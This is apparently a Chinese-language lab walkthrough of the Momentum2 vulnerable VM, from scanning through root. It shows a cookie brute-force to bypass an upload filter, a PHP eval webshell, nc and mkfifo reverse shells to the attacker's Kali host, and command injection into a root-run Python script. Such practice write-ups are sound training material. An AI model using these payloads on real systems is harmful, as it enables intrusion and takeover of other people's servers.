Momentum2-靶机

Momentum2-靶机

环境:下载靶机、解压、VMware打开,并将其和kali虚拟机的网络调成NAT模式

kali扫描不到靶机IP解决办法:

进入靶机如下所示按e键

在这里插入图片描述

在这里插入图片描述

将ro替换为rw signie init=/bin/bash

在这里插入图片描述

按ctrl键加x键进入

在这里插入图片描述

ip a查看网卡名

在这里插入图片描述

编辑网卡配置文件vim /etc/network/interfaces(vim用不了可以使用vi编辑器)

在这里插入图片描述

一.明确目标

探测目标主机IP情况

sudo arp-scan -l

在这里插入图片描述

目标主机IP:192.168.107.130

Kali的IP:192.168.107.129

二.信息搜集

Nmap 进行常规端口开放扫描

nmap 192.168.107.130 -p- -A

在这里插入图片描述

发现目标靶机开放了ssh 22端口,http 80端口。(以及Apache httpd 2.4.38 Debian的版本, OpenSSH 7.9p1 Debian)

在浏览器中访问一下目标靶机的80端口:

在这里插入图片描述

发现没有什么可以利用的

使用dirsearch命令对靶机网站目录进行扫描

dirsearch -u 192.168.107.130

在这里插入图片描述

http://192.168.107.130/js/

http://192.168.107.130/dashboard.html

http://192.168.107.130/manual/

http://192.168.107.130/ajax.php

http://192.168.107.130/css/

http://192.168.107.130/img/

在浏览器中分别访问其目录,发现只有http://192.168.107.130/js/,http://192.168.107.130/dashboard.html,对我们有用

访问http://192.168.107.130/js/
在这里插入图片描述

js代码简单分析:

function uploadFile() {

    var files = document.getElementById("file").files;
 
    if(files.length > 0 ){
 
       var formData = new FormData();
       formData.append("file", files[0]);
 
       var xhttp = new XMLHttpRequest();
 
       // Set POST method and ajax file path
       xhttp.open("POST", "ajax.php", true);  //使用 open() 方法设置请求方法 "POST" 和 AJAX 文件路径。
 
       // call on request changes state
       xhttp.onreadystatechange = function() {
          if (this.readyState == 4 && this.status == 200) {
 
            var response = this.responseText;
            if(response == 1){
               alert("Upload successfully.");
            }else{
               alert("File not uploaded.");
            }
          }
       };
 
       // Send request with data
       xhttp.send(formData);
 
    }else{
       alert("Please select a file");
    }
 
 }

总的来说就是一个结合ajax.php上传多个文件的js代码,这就说明有上传文件的页面,存在上传点,就有可能存在文件上传漏洞

访问http://192.168.107.130/dashboard.html

在这里插入图片描述

发现这里可以上传文件,于是想到是否存在文件上传漏洞可以利用

准备好一个php文件,上传看是否可以

<? php phpinfo();?>

在这里插入图片描述

发现有过滤不能上传php文件。

使用BP抓一包,尝试绕过

在这里插入图片描述

将后缀加上.txt发现返回的值从0变为1,说明成功上传文件。

在这里插入图片描述

去上传目录owls看看,访问目录http://192.168.107.130/owls/

在这里插入图片描述

发现的确上传成功info.php.txt

从上面 main.js 的分析中可以知道,上传的文件会传递给 ajax.php然后进行上传至指定路径,而ajax.php作为ajax文件是无法访问的,但是,目前又需要知道其源码,看一下是否存在备份文件。

使用工具御剑扫描一下是否存在.bak备份文件:

在这里插入图片描述

发现了一个ajax.php.bak文件,浏览器访问下载一下。

在这里插入图片描述

cat查看一下
在这里插入图片描述

//The boss told me to add one more Upper Case letter at the end of the cookie
   if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){

       //[+] Add if $_POST['secure'] == 'val1d'
        $valid_ext = array("pdf","php","txt");
   }
   else{

        $valid_ext = array("txt");
   }

   // Remember success upload returns 1  

通过代码审计知道发现了 admincookie,提示要在cookie末尾加一个大写字母并且发送一个新的 POST 参数secure,其值为 val1d

先生成一下大写字母,用 crunch 命令生成:

crunch 1 1 -t , -o pass.txt

使用BP抓一包

在这里插入图片描述

字典使用刚生成的pass.txt

在这里插入图片描述

在这里插入图片描述

发现长度是一样的,那就去挨个看回显,最终在R上发现1,说明已上传成功,最后一位为大写的R。

三.漏洞利用

上传一句话木马

<?php @eval($_POST["cmd"]);?>

在这里插入图片描述

使用蚁剑连接

在这里插入图片描述

打开虚拟终端

在这里插入图片描述

在kali上开启nc监听5555端口,在虚拟终端进行nc反弹

nc -e  /bin/bash  192.168.107.129 5555

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.107.129 5555 >/tmp/f

在这里插入图片描述

在这里插入图片描述

四.权限提升

进入home目录下,发现了用户athena,并且发现了password-reminder.txt,user.txt两个文件

在这里插入图片描述

cat一下,查看到用户athena的密码以及flag1

尝试个半天,发现密码错误,百度了一下Asterisk,发现是星号*

尝试密码myvulnerableapp*,成功登录

在这里插入图片描述

ssh登陆,sudo -l显示自己的当前的权限,发现可以以root身份无密码使用cookie-gen.py文件

在这里插入图片描述

查看文件的内容,脚本大概意思是,在运行脚本时会要求输入一个seed,这个seedecholog.txt文件中,在echo时会执行bash命令

在这里插入图片描述

先运行sudo -u root /usr/bin/python3 /home/team-tasks/cookie-gen.py

在这里插入图片描述

再输入监听的机器:

;nc -e /bin/bash 192.168.107.129 8888

在这里插入图片描述

在回到监听的机器,就可以发现提权root,得到flag:

在这里插入图片描述

五.总结

本靶机通过信息收集发现文件上传漏洞,并找到上传点,通过Burp爆破Cookie以上传webshell,最后通过python3提权。

  1. 信息收集
  2. dirsearch以及御剑目录扫描
  3. 文件上传漏洞利用
  4. crunch生成小字典
  5. BurpSuite爆破cookie
  6. sudo -l查看当前的权限,发现可以使用python3提权
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gaynell

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值